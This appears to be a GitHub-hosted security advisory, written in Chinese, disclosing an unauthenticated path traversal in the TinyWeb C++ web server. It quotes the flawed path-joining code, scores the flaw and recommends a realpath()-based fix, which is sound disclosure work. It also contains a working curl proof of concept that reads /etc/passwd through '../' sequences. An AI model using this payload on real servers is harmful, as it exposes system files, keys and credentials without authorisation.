theopaid/CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-
GitHub: theopaid/CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-
这是一份针对 TinyWeb Web 服务器的未授权路径遍历漏洞(CVE-2026-67185)安全公告,详细披露了因路径拼接缺乏规范化而导致的任意文件读取问题。
Stars: 0 | Forks: 0
# 安全公告:未经身份验证的路径遍历导致任意文件读取
**分配的 CVE ID:** CVE-2026-67185
## 摘要
TinyWeb 通过将 Web 根目录与原样到达的请求 URL 进行拼接来构建要提供的文件路径,且没有任何规范化处理。未经身份验证的远程客户端可以在请求行中插入 `../` 序列,并读取服务器进程有权打开的任何文件,包括 Web 根目录之外的文件。
## 受影响软件
- 项目:TinyWeb (https://github.com/GeneralSandwan/TinyWeb)
- 构建报告的版本:`TnyWeb/0.0.8`
- 受影响的提交:从首次以这种方式组装路径的 `0b3b5fd` (2019-01-09),到 `a381da2` (2023-11-22,`master` 分支上的最新提交)。
- 修复版本:无。该项目没有标记的发布版本;该范围内的每个发布修订版本都受到影响。
## 分类
- CWE-22:将路径名限制不当至受限目录(“路径遍历”)
- CVSS 4.0 基础分数:8.7(高)
- 向量:`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
## 威胁模型
能够访问服务器监听 TCP 端口(在默认配置中为 9090)的未经身份验证的远程攻击者。不需要凭证、不需要用户交互、也不需要事先访问权限。单个请求即可实现攻击。
## 技术细节
`HttpBuilder::buildResponse()` 以配置的 Web 根目录开始,并直接附加来自解析请求的 URL 路径字段:
```
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
```
在第 86 行的路径拼接和第 94 行的文件系统调用之间,没有进行点段移除(RFC 3986 第 5.2.4 节),没有使用 `realpath()` 进行路径规范化,也没有检查结果是否保留在 `server.www` 内部。
URL 解析器同样没有过滤 `..`。在 `HttpParser::parseUrlChar()` 中,path 状态接受任何通过 `isUrlChar()` 的字符,而 `.` 是一个合法的 URL 字符,因此 `../` 会原封不动地到达 `buildResponse()`:
```
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
```
随后,`HttpFile::setFile()` 会使用服务器进程的权限打开并提供产生的任何路径所指向的文件:
```
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
```
注意:TinyWeb 从未对 URL 路径进行百分号解码,因此 `%2e%2e%2f` 不起作用。只有字面量的 `../` 形式有效。
## 概念验证
1. 使用默认配置启动服务器(监听 9090 端口,从配置的 Web 根目录提供资源)。
2. 发送一个其路径攀升至 Web 根目录之上的请求。`--path-as-is` 标志可阻止 curl 在发送前合并 `../`:
```
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
```
3. 服务器响应 `200 OK` 并返回 `/etc/passwd` 的内容:
```
HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
所需的 `../` 段的数量取决于 Web 根目录的深度。任何等于或大于 Web 根目录深度的数量都可以生效,因为内核会忽略文件系统根目录处的 `..`。
## 影响
任何远程客户端都可以读取服务器进程有权打开的任何文件。在默认设置中,worker 以 root 身份运行,因此这包括 `/etc/shadow`、TLS 私钥、包含凭证的配置文件,以及 Web 根目录下应用程序自身的源代码。
## 修复方案
使用 `realpath()` 对拼接后的路径进行规范化,并除非结果位于配置的 Web 根目录内,否则拒绝该请求。作为纵深防御措施,请根据 RFC 3986 第 5.2.4 节的规定在 URL 解析期间移除点段,并在执行该规范化之前对路径进行百分号解码。
标签:C++, Web服务器, 任意文件读取, 安全公告, 数据擦除, 漏洞披露, 路径穿越